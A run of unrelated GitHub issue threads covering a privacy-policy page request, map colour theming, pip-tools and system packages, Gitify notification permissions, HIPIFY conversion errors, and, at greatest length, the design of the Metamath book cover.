[FEATURE] Adding a dedicated Privacy Policy page to the Website

🚀 Feature Request
Description
A Dedicated Privacy-Policy page that covers all the information this website gathers from users and how the Websites uses these information provided by the user.

Problem Statement
This will ensure user that the website is safe to use and there data is also safe and it ensures them that the data is used for the website purposes only. It also makes the website more interactive and professional.

Proposed Solution
So I can add a privacy-policy link in the footer which redirects user to the Actual Privacy-Policy page and there user can read the information about the Privacy-Policy

Alternatives Considered
No for this no alternatives can be implemented.

Additional Context

here is an example of a website for which I have created the Privacy Policy page.

Checklist

[☑ ] I have checked the existing issues and this feature request is not a duplicate.
[☑ ] I have starred this repository.
[☑ ] I am willing to help implement this feature (optional).

would love to work on this
/assign

would love to work on this
/assign

@gaurav-mehta19 since I've opened this issue I'll be the first one to get assigned.


How to change light yellow color of some streets?

This light yellow color is barely visible so I'd like to change it for InteractiveDynamics.jl. I am not sure how to do that though. I had a look at the source code, and I believe I need to provide something to graphplotkwargs, but I am not sure what... What kind of street is the one that has this light yellow color...?

Oh and if you find yourself creating a completely new theme, please consider contributing it here. Maybe that's a nice motivation for me to add basic theming support via a kwarg for osmplot. I would imagine something simple like theme = :default and then simply pass an existing theme name as symbol. :)

great thanks, I'll probably make a custom theme yeap, but it is not clear how I'd contribute it. I guess one option would be if there are keywords for WAYTYPECOLOR etc. accepted by osmplot?
p.s.: from all the possible streets, the ones plotted yellow above are which kind? Are they the "secondary"...?

from all the possible streets, the ones plotted yellow above are which kind? Are they the "secondary"...?

Well, I cannot tell that because I don't know which map you're using. You can just enable edge inspection and have a look yourself (the tags will tell you which waytype it is). Or you could just look at the theme and change every occurrence of this yellow colour to another colour of your liking (which is probably the easier way to do it).

I guess one option would be if there are keywords for WAYTYPECOLOR etc. accepted by osmplot?

Hm, I'd rather have a hybrid solution. My idea would be to just have a theme keyword argument for osmplot that accepts either a Symbol or a complete theme (e.g. Dict of the required theme specifications like WAYTYPECOLOR, etc.)  as its value. If it's a symbol, it is then looked up in a dictionary of built-in themes. If it's a custom theme, it is used directly. Something along those lines.

BTW is there a reason to make the dictionary have colorant as a forced value? Anything that is valid and can be passed to to_color should be working downstream, no? I propose that the value type of WAYTYPECOLORS is Any. BTW, colorant"xxx" is not an accessible name by simply using CairoMakie, you need to call some additional package.

This is how I do it now:
default_colors = InteractiveDynamics.OSMMakie.WAYTYPECOLORS
default_colors["primary"] = colorant"#a1777f"
default_colors["secondary"] = colorant"#a18f78"
default_colors["tertiary"] = colorant"#b3b381"


Revert "Moved Zoom to Other Shaders."

This reverts commit 09ac8b5f305bce890aabc1418086dda7f0aa0983.

The Zoom shader had been moved to "Other Shaders" as a request from crosire (the ReShade creator) in order for the FXShaders repository to be allowed in the ReShade installer by default.
Unless this policy has changed or if the repository isn't even in the installer anymore (I haven't used ReShade in probably over an year after switching to Linux), I don't see the reason for this request (unless it's for slipping the Zoom shader into the ReShade setup sneakly, which would probably be a bad idea).

Closing this as OP has given no further feedback.


Document explicitly how to deal with system packages

What's the problem this feature will solve?
I have a Dockerfile in a project.  On that project I do development sometimes in a virtualenv, sometimes in docker, according to whatever is convenient for what I'm up to.  The Dockerfile provides some python packages as system packages (e.g. debian or alpine packages), rather than as PyPI dependencies or VCS links (to github etc.).  There may be reasons for that -- e.g. production stability is thought to be better with a particular system package, build dependencies are heavy/tricky in the chosen docker environment, reducing docker build time, etc.  I assume most system packages do include egg metadata (I haven't checked).
When I'm working with a virtualenv, I want to use the same python package versions as I have in the docker image.  So, some packages should not be installed by pip in the docker image (so that the system packages are used), but should be installed in the virtualenv (so that the packages are present, with the same version as used in docker).  Also, versions that pip-compile selects should be compatible with what is installed by the system packages in the docker image.
I'm not clear from just the pip-tools docs what, if any, are the recommended solutions to this.
Describe the solution you'd like
I imagine there might be multiple ways to deal with this, and the solution might just be documentation.
In particular, I'm not sure from just the docs whether pip-compile is supposed to see that a package is already installed and, in the absence of something more explicit in requirements.in, take that as a kind of implicit declaration that we're going to use that version?
If so, perhaps I just need to run pip-compile in the docker environment, and then use the resulting requirements.txt to pip-sync both in the Dockerfile and when installing dependencies in a virtualenv?
Alternative Solutions
Perhaps there are other solutions involving multiple requirements files.  I won't think through that further here because since I don't know the intent of pip-tools, and haven't tested the actual behaviour either, I don't know whether it's necessary!

Incidentally, I've run into this kind of issue also in the context of writing code in Blender.  If I recall correctly, blender is typically distributed build against a particular python version, and with certain python package versions installed in a directory that is used only by blender.  There was a lot of code that did not depend on blender at all, so it was far easier to test that code in a virtualenv rather than in blender -- but I wanted to use the same versions in blender and the virtualenv.

Hello @jjlee,
Thanks for the issue. As far as I understand, you should list all packages even those ones which might be pre-installed by the system. For example, if your system is Ubuntu and it has pre-installed setuptools==45.1.0, but your app needs setuptools==46.1.3, so you should put setuptools to the requirements.in. Otherwise, your builds would be non-deterministic and unpredictable.
If you think that there should be a note feel free to send a PR, contributions are welcomed 👍


update to new version

I observed that the original author does not seem to continue to maintain, so I submit the content to you


Not Receiving Notifications

Hi,
I installed gitify and set up my account but I'm still not receiving any notifications.  Please see my screenshot,

Thanks,
Chris

Hmm, I'm getting the same issue since moving to 1.0. I can't offer more than that in detail. If there is some way I can debug please let me know.

Hello @simonsmith! I am planning to release a new version today that will allow debugging so hope this will help us tackle this issue. Will let you know once it is out!

Hey, @simonsmith  @manosim I think it may be an organization setting that's the problem.  I tested it with another organization and it worked.

@ChristianWalker19 Do you know what the setting was?

@simonsmith I'm looking now. I actually just got your reply from the gitify app.

@manosim is this an approved third party application?  Based on this it looks like third-party applications immediately lose access to the organization's resources.  When you create a new organization, third-party applications are restricted by default. Organization admins can disable third-party application restrictions at any time.

Yes that is correct - If you application is not approved from your organisation admin, then you will not receive any notifications specific to this org's repositories. To check if "gitify" is approved by your organisation you can go to https://github.com/settings/applications, then click on Gitify and scroll to Organization access. Hope this helps!

@manosim I was able to enable gitify from my personal account as an approved application. Thanks!

@manosim That seems to be the issue yes. I've sorted my permissions.
I think this would be a great addition to the README as I had no idea to check that page. Happy to PR it if you agree.
Thanks for your help though

How about allowing access via an API token, much like the Github for Chrome extension.
I noticed that I get notifications via that extension that Gitify could not pick up. Is that even an option?

@simonsmith Sure, feel free to open a PR and add a new section "FAQ" before the Contributing section.
About allowing users to provide their API token, I don't think that it would be the best path, since it would break the auth flow and would make things more "complicated" (instead of login, create a token and type it here)? Also the login flow works fine with Gitify, it is just the org permissions that have to be set(the first time you login, GitHub asks for permissions). Hope this makes sense!

@manosim Understood 👍

@simonsmith As promised, version 1.1.0 is now out and in case anything goes wrong you can debug using alt+cmd+i.

Good job on the debug addition but it also looks like the FAQ change has been lost.

It's still there (on the readme)? https://github.com/manosim/gitify#faq

Bizarre. Definitely couldn't see it earlier and it said the README was updated 19 days ago. Maybe github playing up
All good now 👍


Thrust of CUDA

In my CUDA version, I used Thrust Library, and Saw the ROCm platform overwritten it to HIP. However, during the HIPIFY conversion, did I need to download Thrust from ROCm to replace it in my current program and then convert my project? The following error occurred during the conversion without any changes:
In file included from /tmp/gridding.cu-6a50d3.hip:37:
In file included from /usr/local/cuda-11.0/include/thrust/sort.h:1361:
In file included from /usr/local/cuda-11.0/include/thrust/detail/sort.inl:26:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/sort.h:153:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/sort.inl:26:
In file included from /usr/local/cuda-11.0/include/thrust/find.h:384:
In file included from /usr/local/cuda-11.0/include/thrust/detail/find.inl:25:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/find.h:62:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/find.inl:19:
In file included from /usr/local/cuda-11.0/include/thrust/reduce.h:784:
In file included from /usr/local/cuda-11.0/include/thrust/detail/reduce.inl:26:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/reduce_by_key.h:88:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/reduce_by_key.inl:29:
In file included from /usr/local/cuda-11.0/include/thrust/transform.h:724:
In file included from /usr/local/cuda-11.0/include/thrust/detail/transform.inl:25:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/transform.h:105:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/transform.inl:19:
In file included from /usr/local/cuda-11.0/include/thrust/for_each.h:279:
In file included from /usr/local/cuda-11.0/include/thrust/detail/for_each.inl:27:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/adl/for_each.h:42:
In file included from /usr/local/cuda-11.0/include/thrust/system/cuda/detail/for_each.h:35:
In file included from /usr/local/cuda-11.0/include/thrust/system/cuda/detail/parallel_for.h:36:
/usr/local/cuda-11.0/include/thrust/system/cuda/detail/core/agent_launcher.h:562:11: error: use of undeclared identifier 'va_printf'
_CubLog("Invoking %s<<<%u, %d, %d, %lld>>>(), %llu items total, %d items per thread, %d SM occupancy, %d vshmem size, %d ptx_version \n",
^
/usr/local/cuda-11.0/include/cub/util_debug.cuh:149:42: note: expanded from macro '_CubLog'
#define _CubLog(format, ...) va_printf(format,VA_ARGS);
^
In file included from /tmp/gridding.cu-6a50d3.hip:37:
In file included from /usr/local/cuda-11.0/include/thrust/sort.h:1361:
In file included from /usr/local/cuda-11.0/include/thrust/detail/sort.inl:26:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/sort.h:153:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/sort.inl:26:
In file included from /usr/local/cuda-11.0/include/thrust/find.h:384:
In file included from /usr/local/cuda-11.0/include/thrust/detail/find.inl:25:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/find.h:62:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/find.inl:19:
In file included from /usr/local/cuda-11.0/include/thrust/reduce.h:784:
In file included from /usr/local/cuda-11.0/include/thrust/detail/reduce.inl:26:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/reduce_by_key.h:88:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/reduce_by_key.inl:29:
In file included from /usr/local/cuda-11.0/include/thrust/transform.h:724:
In file included from /usr/local/cuda-11.0/include/thrust/detail/transform.inl:25:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/transform.h:105:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/generic/transform.inl:19:
In file included from /usr/local/cuda-11.0/include/thrust/for_each.h:279:
In file included from /usr/local/cuda-11.0/include/thrust/detail/for_each.inl:27:
In file included from /usr/local/cuda-11.0/include/thrust/system/detail/adl/for_each.h:42:
In file included from /usr/local/cuda-11.0/include/thrust/system/cuda/detail/for_each.h:35:
In file included from /usr/local/cuda-11.0/include/thrust/system/cuda/detail/parallel_for.h:36:
/usr/local/cuda-11.0/include/thrust/system/cuda/detail/core/agent_launcher.h:576:11: error: use of undeclared identifier 'va_printf'
_CubLog("Invoking %s<<<%u, %d, %d, %lld>>>(), %d items per thread, %d SM occupancy, %d vshmem size, %d ptx_version\n",
^
/usr/local/cuda-11.0/include/cub/util_debug.cuh:149:42: note: expanded from macro '_CubLog'
#define _CubLog(format, ...) va_printf(format,VA_ARGS);

Could you provide your CUDA source file(s), please?

Thank you for your reply!  Please see the source code in the attachment.
And “https://github.com/HWang-Summit/HCGrid” is the entire project code
that I want to convert.
Evgeny Mankov<EMAIL_ADDRESS>于2020年11月16日周一 下午6:23写道：

Could you provide your CUDA source file(s), please?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ROCm-Developer-Tools/HIPIFY/issues/223#issuecomment-727885477,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AKJ4BZXMG7EIAGIFUZSGEADSQD4QHANCNFSM4TWTMN4Q
.

Do you have any constructive suggestions on this issue?  Thank you.
hao wang<EMAIL_ADDRESS>于2020年11月17日周二 上午9:33写道：

Thank you for your reply!  Please see the source code in the attachment.
And “https://github.com/HWang-Summit/HCGrid” is the entire project code
that I want to convert.
Evgeny Mankov<EMAIL_ADDRESS>于2020年11月16日周一 下午6:23写道：

Could you provide your CUDA source file(s), please?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ROCm-Developer-Tools/HIPIFY/issues/223#issuecomment-727885477,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AKJ4BZXMG7EIAGIFUZSGEADSQD4QHANCNFSM4TWTMN4Q
.

gridding.cu was successfully hipified on my side. Please, see the resulted .hip file: gridding.hip.

Thank you!
Evgeny Mankov<EMAIL_ADDRESS>于2020年12月1日周二 上午12:09写道：

gridding.cu was successfully hipified on my side. Please, see the
resulted .hip file: gridding.hip
https://github.com/ROCm-Developer-Tools/HIPIFY/files/5617056/gridding.zip
.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ROCm-Developer-Tools/HIPIFY/issues/223#issuecomment-735882043,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AKJ4BZRY4LJR5NOSQK5APQLSSO7U7ANCNFSM4TWTMN4Q
.

Closed as answered.


Typo "Azure Cosmos DB storage"→"Azure Cosmos DB Storage"

https://github.com/MicrosoftDocs/azure-docs/blob/main/articles/lab-services/reliability-in-azure-lab-services.md
#PingMSFTDocs

@ntrogh
Thanks for reviewing the proposed changes. Should this PR be closed?
If so, enter a #please-close comment. Thanks!
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

#please-close


WinInfo --> OSInfo

WinInfo will be redone to show information for all Operating Systems, (MacOS, Windows, Linux). Including posts, changelogs, and downloads. Please contribute to manage this hefty change.

Step 1: Making the latest hosted release on vercel even with the repository. (The other way around actually)


Fix CRITICAL level issues from CVE scanner

https://github.com/networkservicemesh/deployments-k8s/security

[x] Update go to v1.23 locally (code)
[x] Update go to v1.23 locally (base image)
[ ] Update go to v1.23 (sdk)
[x] Provide remaining - 2 weeks
[ ] Update go to v1.23 (code)
[ ] Update go to v1.23 (base image)
[ ] Update base to latest version ubuntu/alpine and etc.

We decided to split work related to update linter on two parts:

Update linter config to v1.23 with minimal changes
Provide a list of linters that can be enabled in future.


Use drag position instead of scrollbar thumb to determine whether to show labels

Suggestion
When the user drags the scroll bar of the content lists (Tracks, Albums, Playlists and Artists) we show a label if the sorting is set to name or title.

This is a cool feature, but it is very hard to get to, because the scroll bar is only a few pixels wide. Additionally, to provide this feature we are keeping a copy of the Scrollbar code from Flutter, which requires us to manually keep it up to date with the Flutter implementation to get improvements and to keep compatible with changes in the framework.
I want to get your feedback on an alternative solution to this problem that does not require us to keep a slightly modified version of the code and makes the feature easier to access:
Instead of only showing the label when the scrollbar is dragged, show it when a scrolling from a drag, while the touchpoint of the drag is close to the window border on the scrollbar side. For the picture above, this would mean when dragging the list close to the right side of the screen, the labels would show up.
We can implement this using a NotificationListener<ScrollNotification> and the dragDetails?.localPosition of ScrollStartNotification & ScrollUpdateNotification.
I would like to implement this, if you are ok with it, @nt4f04uNd.

Hi, this sounds like a great addition 😊👍
This is definitely something I thought about at some point in the past, but there were  no existing solutions, IIRC.
It looks like we could possibly use https://pub.dev/packages/alphabet_scroll_view to achieve that effect, are you going to use this?
From one hand - it's good we have some package do it for us, on the other hand, we're adding one more dependency, and the ListView component is very core to a framework by its nature, so we have to make sure this solution is executed well enough to not bury a long shot to our leg in the future.
Ideally, this should work without swapping out our ListViews by some other widget, and if you can achieve this, I'm definitely for it.

Additionally, to provide this feature we are keeping a copy of the Scrollbar code from Flutter, which requires us to manually keep it up to date with the Flutter implementation to get improvements and to keep compatible with changes in the framework.

I don't think these two thing are related though. It is unfortunate that I didn't leave a comment as to why I copied it over, but I'm pretty sure it's something related to the color of the scrollbar.

Ah, it's onThumbPressStart and onThumbPressEnd handles, I see. You are right.

Ah, it's onThumbPressStart and onThumbPressEnd handles, I see. You are right.

Yes exactly. Sorry, I should have mentioned that. I think I can do it with just a NotificationListener, no extra package needed.


Book cover

We need to make a book cover via Lulu.  Unfortunately, it looks like all the cover work is erased whenever you upload an updated file, due to bad website design.  So I'm going to document the settings I used in this issue, so we can reproduce and/or change things.

Lulu doesn't support https on most pages, and it wants you to use flash (!).  Browsers are increasingly refusing to run flash, so that may make things challenging in the future :-(.

I used the Lulu "new" cover editor as documented here: http://connect.lulu.com/en/discussion/33504/how-to-create-a-book-cover-using-the-new-lulu-cover-wizard  I laugh when they say "new" - it uses Flash, and Flash is scheduled for Internet-wide banning (it's already hard to re-enable).
Here's what I did to create a cover:
Layout tab: Selected 4th entry (Title on top, picture, then author names)
Themes: Selected "Geared".
Background: I can't seem to get both gears and a color, so I'm skipping it.
Cover front:
Title text: ("Metamath: A Computer Language for Mathematical Proofs").
The default was Century Gothic, 40pt, bold,and the line break was bad.
I changed it to Arial 36pt, and forced a line break after the colon.
Authors: Default was Lindsey Pro 21 (Yuk!), bold.
I changed it to be Arial 36pt.
The title & author text is in white.  I tried black, but it wasn't easier to read so I left it as White.
I want to put the Aleph-sub-0 image on the front.  However, I need it transparent, and ideally in vector format (it's not clear that the system can handle vector formats).
Spine:
Spine Title text default is Century Gothic 10. I highlighted the text & enlarged it to Century Gothic 12 (hopefully making the book easier to find).
Spine Author text default is Century Gothic 10, and by default only shows first author.  I changed the text to "Norman Megill & David A. Wheeler", and changed the size (not the font family) to Century Gothic 12.   I think the two items are far enough apart on the spine that they're obviously independent, and if I made them any bigger that'd be a problem.
To be continued...

On the back cover:
I put the abstract it.  That was complicated, copy/paste often failed. I turned it into a single line (using vi), used notepad to "copy" from the menu, then could control-V in it to paste it.
Default abstract font is Lindsey Pro 12 (ugh). I changed it to Bembo 14 (better at least).
I changed the default top-right text to Arial 14pt, and used this text:
Metamath: A Computer Language for Mathematical Proofs

Norman Megill &
David A. Wheeler

I created an image that is a combination for Norm & my pictures, uploaded it, and dragged that into an area on the back cover.  It's probably a little pixellated, but I don't have better images.  I used black fills on the top & bottom because a rescaled image would look wrong.

For the front image I created an aleph _ 0 image with red text and yellow outline using Powerpoint, took a printscreen enlarged as much possible, and then uploaded it.  That's the standard image for Metamath overall... so I think we should use it.
I created a horizontal merge our our mugs for the back using Microsoft Paint.  No one's going to call Hollywood once they see it (except to issue an alert), but it humanizes the cover.

@nmegill - it took a lot longer to make a cover than I expected, but I have one.
Please take a look at the proposed cover for the 2019 Metamath book:  https://dwheeler.com/misc/24804269_cover.pdf
If anyone has any comments I'd like to hear them!!

For the front image I created an aleph _ 0 image with red text and yellow outline using Powerpoint
I'm not sure what you did, but there is a higjher resolution logo here:
http://us.metamath.org/mmbig.gif

https://dwheeler.com/misc/24804269_cover.pdf
This file gives a Forbidden message.

On Sun, 02 Jun 2019 15:05:57 -0700, nmegill<EMAIL_ADDRESS>wrote:

https://dwheeler.com/misc/24804269_cover.pdf
This file gives a Forbidden message.

Whups! Sorry about that.  Please try again!

For the front image I created an aleph _ 0 image with red text and yellow outline using Powerpoint
I'm not sure what you did, but there is a higjher resolution logo here:
http://us.metamath.org/mmbig.gif

I used Powerpoint to generate a good-looking image.  The bitmapped image I created is 1920x1080.
The "mmbig.gif" isn't very big, it's only 320x320.  I think it'll look a little ugly when scaled up to book size.  Do you have a bigger one, or can you generate a bigger one?
--- David A. Wheeler

OK, the cover pdf is accessible now.
A couple of comments:
The aleph is a somewhat different shape than the Metamath logo.  Perhaps it would be better to start from mmbig.gif?
The abstract has unusually large space between some of the words because of the large font.  Should we use ragged-right?  I've seen that before on some back cover blurbs, maybe for this reason.

The "mmbig.gif" isn't very big, it's only 320x320. I think it'll look a little ugly when scaled up to book size. Do you have a bigger one, or can you generate a bigger one?

Unfortunately no.  mmbig.gif is the original from which the logo was derived.  I wonder if some graphics experts on the google group could smooth the jaggedness.  I'll post a comment on the group.

@nmegill - it was easy to switch the abstract to ragged-right, so I did so.  That solved the word inter-spacing problem.  So that's resolved.  We have space for another sentence if there's something else important we want to say (though there's nothing wrong with a short abstract!!).
I tried the mmbig.gif logo.  It looks terrible.  In fact, the tool is showing a big warning triangle about using the image. I had to tweak it a little, because the cover system doesn't support transparent images, but that was the easy part.
We could try to smooth out the jaggedness with a blur (e.g., a Gaussian blur).  But that's nontrivial, and I'm not sure the result will be worth it... you'll tend to have nicer images if you start with a nice image.
Where did you get mmbig.gif?  I presume you didn't draw it.

@nmegill - I uploaded an updated cover, now with ragged right abstract, but the same front image.

We could try to smooth out the jaggedness with a blur (e.g., a Gaussian blur). But that's nontrivial, and I'm not sure the result will be worth it... you'll tend to have nicer images if you start with a nice image.

I have Photoshop 7 where Gaussian blur is easy, but I don't think that's the right approach.  Ideally it should be converted to an SVG file with smooth curves.  Let's see if anyone responds to my google group post.

Where did you get mmbig.gif? I presume you didn't draw it.

I blew up an aleph from somewhere and printed it out as a guide, then drew the aleph and boundaries on a tracing paper overlay, then scanned it and cleaned it up.  The originals from that effort are long gone.

I created a 960x960 and 1600x1600 here using bicubic sampling on the 320x320:
http://us2.metamath.org/mm960x960.gif
http://us2.metamath.org/mm1600x1600.gif
It is still jagged but the edges are smoothed a little.

On the front cover, I would write the subtitle smaller than the title (as a by product, it would fit on two lines), and maybe remove the colon.

I changed the subtitle to 30pts, and now the subtitle fits on two lines.
I need to leave the colon in.  Amazon is really picky & insists that the book metadata exactly match what's on the front cover.  I'm even concerned about the aleph-null, though I think the fact that it's not English & it's in color should make it obvious that this is a picture.

Unfortunately, the 1600x1600 version is still hideous.  It just isn't designed to scale up to book size.
You can take a look here: https://dwheeler.com/misc/24804269_cover-1.pdf
I strongly recommend we revert to the aleph0 I made.

I figure out how to use my approach to create an image that looks more like the website's, while still avoiding ugliness.  Take a look at this image:
https://dwheeler.com/images/aleph0-2.png
I think this will look good.  It's a big image on the front cover, so we want it to look reasonable!

The key differences are that the glow is more prominent & it now has a black outline.  I can easily make the black outline thicker if you'd like.

Okay, here's yet another cover.  This one uses my "aleph0", but with more glow and a black outline so it looks more like the one on the website.  I could make the outline thicker, but on the book cover I think it looks odd when it's that thick.
Anyway, here's the latest version:
https://dwheeler.com/misc/24804269_cover-2.pdf

Can the 0 subscript be made smaller?  If you look at typical set theory books it's often quite small.
Another thing to consider is whether we want the aleph dominating the page.  I like the background of gears, but the aleph doesn't seem to blend in with it too well.  It doesn't necessarily have to be the logo colors if another color scheme helps it blend in better.  Perhaps make the whole thing shades of brown similar to the background, including the border (the sold black seems to clash with the subtle bowns of the background).  Just some thoughts...
If we had an artist, I might suggest something like having an aleph_0 (not necessarily the logo one) emerge from the gears (computer) that grind away, to eventually and miraculously produce the actual completed infinity aleph_0, which is something ordinary computer arithmetic can't do.  (I used to be in awe of that.) But I think that is beyond our capabilities. :)

The 0 subscript can easily be made smaller.  How much smaller do you want it? 50% current size? 75%?
I think it's very important that the color scheme of the aleph 0 does NOT change.  The aleph 0 as shown is the logo / brand of Metamath - it's on practically every page, and has been for years.  It's okay to regenerate it, as I have done, but I tried to make it obvious that it's the "same".  If anything I'd make the gears match the logo colors, but I can't do that - I don't get to change the color of the book if we use the gears, and the gears both look good & make sense in this context.
We can make the aleph 0 smaller as a whole, however, we can't change the size of the white area it's in.  The "cover wizard" I'm using is very useful (because I'm not a graphical designer), but it's also very limiting.  I think making the aleph 0 smaller as a whole would look lousy, because the whitespace would dominate.  Remember, the aleph 0 with those colors & such are the Metamath logo/brand - it's perfectly appropriate to emphasize it on the cover of the book.  If anything, it makes a strong statement: A huge logo like that, front and center, is hard to forget.
I love the idea of aleph_0 emerging from the gears.  That would be fantastic.  But it's definitely beyond my capabilities.  Let's do that after we have miliions of Metamath users :-).

Here is a quick low-res mockup of a possible color scheme that is coordinated with the background:
http://us2.metamath.org/cover-concept2.jpg

The external orange rectangular frame is fine.  But the orange surrounding the logo looks terrible.
I think you should have the Metamath logo "pop out" in the book.   You want to help busy people easily remember the front cover.  The current form "pops out" with surrounding white, just like it already does on the web pages.

Here's another idea where I first restored the white logo background, then changed all while including the title to a very light shade:
http://us2.metamath.org/cover-concept3.jpg
Again, this is just a quick and dirty mock up to convey the general idea (there are artifacts around the edges of the logo I didn't spend time to suppress).  The exact colors and everything else can be adjusted of course.  We don't necessarily have to have a border around the aleph.
I guess the overall sense that I have with the original cover is that the pure blacks, pure whites, and primary colors seem to clash with the (rather nice, I think) subtle brown shades of the background.
Anyone else have an opinion?

The 0 subscript can easily be made smaller. How much smaller do you want it? 50% current size? 75%?

Here is the one from Takeuti & Zaring.  Others I looked at have similar ratios.
http://us2.metamath.org/aleph0-tz.gif
The Metamath logo's subscript 0 seems even smaller, but if it matches T&Z more or less that should be OK.

I've given my opinion about the cover; take from it whatever you want.  I'll go with what you prefer.
In the back cover abstract, the right edge is very jagged (explaining the excessive spacing in the right-justified version).  A significant improvement can be made if we hyphenate "mathematics":
essentially all of<line break>
mathematics
can be changed to
essentially all of math-<line break>
ematics
and "fundamentals":
the<line break>
fundamentals
can be changed to
the funda-<line break>
mentals

Hi David,
The cover says "the MPE database has over 20,000 proven theorems".
An actual count would be more than 23,000, including only the "main part" of set.mm.
If you include mathboxes, it goes up to 32,000. And iset.mm, has more than 5000 theorems.
You may prefer to round up, I just wanted to make sure you had considered updated that number which might be outdated. One could even add "at the time of printing", to show that the database is very much alive and grows continuously!

If it's still useful, I can try to do some Inkscape magic on the Aleph-zero symbol and work out a scalable version, that can then be rendered at any resolution without loss. I'm not really an expert, but I've already done similar things with somewhat acceptable results.

@giomasce As you can see from the conversations, we're not completely settled on what version will go on the cover, but certainly a scalable version would be good to have for future applications, and would be most appreciated.  Yes, mmbig.gif is the highest resolution version available.

There it is: not perfect, but probably reasonable. If you want some specific detail to be fixed I can try to touch it. I do not claim any copyright on this image and accept to release it on whatever terms the original image had.

Excellent, thanks @giomasce!  And thanks for the copyright release.  It has been uploaded here:
http://us2.metamath.org/copyright.html#logo

That's fantastic @giomasce ! Would it be possible to create a second .svg with that same awesome logo and the word "Metamath" centered below it, suitable for T-shirts and mugs?

Something's wrong, I cannot get this to open: http://us2.metamath.org/mmlogo.gif

Something's wrong, I cannot get this to open: http://us2.metamath.org/mmlogo.gif

Try it now.

BTW mmlogo.gif is the just the old 320x320 mmbig.gif renamed with a more meaningful name.  (It got corrupted when I regen'ed the us2 site today do to a mistake.)  I left it there in case anyone has issues working with svg files, but I expect the svg to be the standard reference.

The cover says "the MPE database has over 20,000 proven theorems". An actual count would be more than 23,000, including only the "main part" of set.mm. If you include mathboxes, it goes up to 32,000. And iset.mm, has more than 5000 theorems.

I think "over 23,000" is safest, but I'll switch to that.  Mathboxes are obviously more, and I did say it was just MPE.

I've given my opinion about the cover; take from it whatever you want. I'll go with what you prefer.

Let's try another go with the stark white background for the logo.  That's how it shows on all the Metamath pages.  I switched to the cleaner .svg file; it took me a while to get a version I could use.  (They don't accept SVG files, which is rediculous.)  We could switch to something other than white, but if it's too muted doesn't pop off the page.
I made a new version of our photos.  It took me a bit to create a version with the right scaling.

A significant improvement can be made if we hyphenate ...

You're right, that is definitely a big improvement.

We have yet another draft cover:
https://dwheeler.com/misc/24804269_cover-3.pdf
Thoughts?
The version of aleph null I used was generated from the .svg file and turned into this file: https://dwheeler.com/images/mmbig-tweaked-3.png via https://dwheeler.com/images/mmlogo.html (which is a weird way to do it but it worked).

@david-a-wheeler No problem. Is there an official font to use? Or do you have any preference?

For the moment I have made an example with Linux Libertine, trying to emulate the original logo's style.

We have yet another draft cover:
https://dwheeler.com/misc/24804269_cover-3.pdf

It looks much better.  I still think the aleph-0 is too dominant for my taste, but I can go with it.  (Maybe I'm fatigued of seeing the logo for 25 years, but other people have said they like it.  One advantage is that it is relatively easy to identify the Metamath page with a bunch of browser tabs open.)
If it's not too hard, could my photo be cropped/zoomed so our heads are roughly the same size?

It's true that such a large logo on the cover could make people think that Metamath is a cult, with Norm as the guru !  More seriously, the logo could be made a bit smaller (and the black rectangular frame maybe slightly thinner and/or less black: the whole thing looks a bit aggressive).
As for the edition, it's indeed a "Second Edition" or a "Second, revised and expanded Edition", even if the subtitle is slightly different.  Maybe the first edition could be put in the References and \cited on page xiv, line -5:
"The present edition" --> "The 2005 edition (\cite{first-ed})"

More seriously, the logo could be made a bit smaller (and the black rectangular frame maybe slightly thinner and/or less black: the whole thing looks a bit aggressive).

I cannot change the black rectangular frame.  Its color & width are fixed by the layout wizard I'm using from the publisher.
I'll try to make the logo a little bit smaller, but not much so.  I think it is very important that the symbol be dominant in its frame.  This is the logo, and it should be very prominently placed.  In addition, it would look weird for it to be small relative to its background.... the symbol is the point, not the background.  Also, in many cases people will only see thumbnails, so it's important that the logo be clearly understandable even when it's greatly minimized, and the logo is pretty complicated so it needs to be large to be understandable when minimized.
In this context, aggressive is good.  In fact, I think it's necessary.
There's a time & place for being humble & self-effacing.  The cover of a book is not an appropriate time or place.  The primary purpose of a book cover is to say "read me!" to potential readers, in competition with a sea of millions of other books and their covers.  It took time to make the book, let's encourage people to actually read it.  A cover is no guarantee, but it's something we can (and should) control.
I think very it's important that the logo be very prominent, and Norm can live with its size as-is, so I think a minor downscale (while leaving it large) is a reasonable place to end up.

If it's not too hard, could my photo be cropped/zoomed so our heads are roughly the same size?

I'll try.  That will require a rescale, and that has the potential of making the picture less clear.  I intentionally chose size multiples to avoid rescaling.  But the originals have a lot of pixels, so it may be just fine (I was being conservative about image quality).

As for the edition, it's indeed a "Second Edition"

Fair enough.  I explained why I didn't include edition information, but I noted it because I wasn't sure.  Okay, I'll add "Second Edition" (unless Norm objects).

Maybe the first edition could be put in the References and \cited on page xiv, line -5: "The present edition" --> "The 2005 edition (\cite{first-ed})"

We could do that.  I think we can replace the contents without starting over with cover (I hope).  We'll need to figure out exactly what the contents should say, updating things is a pain even if I don't have to start over with the cover.

@giomasce - I like your example with Linux Libertine!!  It's quite distinctive.  Are you willing to release its copyright like the other one?
This is fundamentally Norm's project, so I think we need his okay.  So...
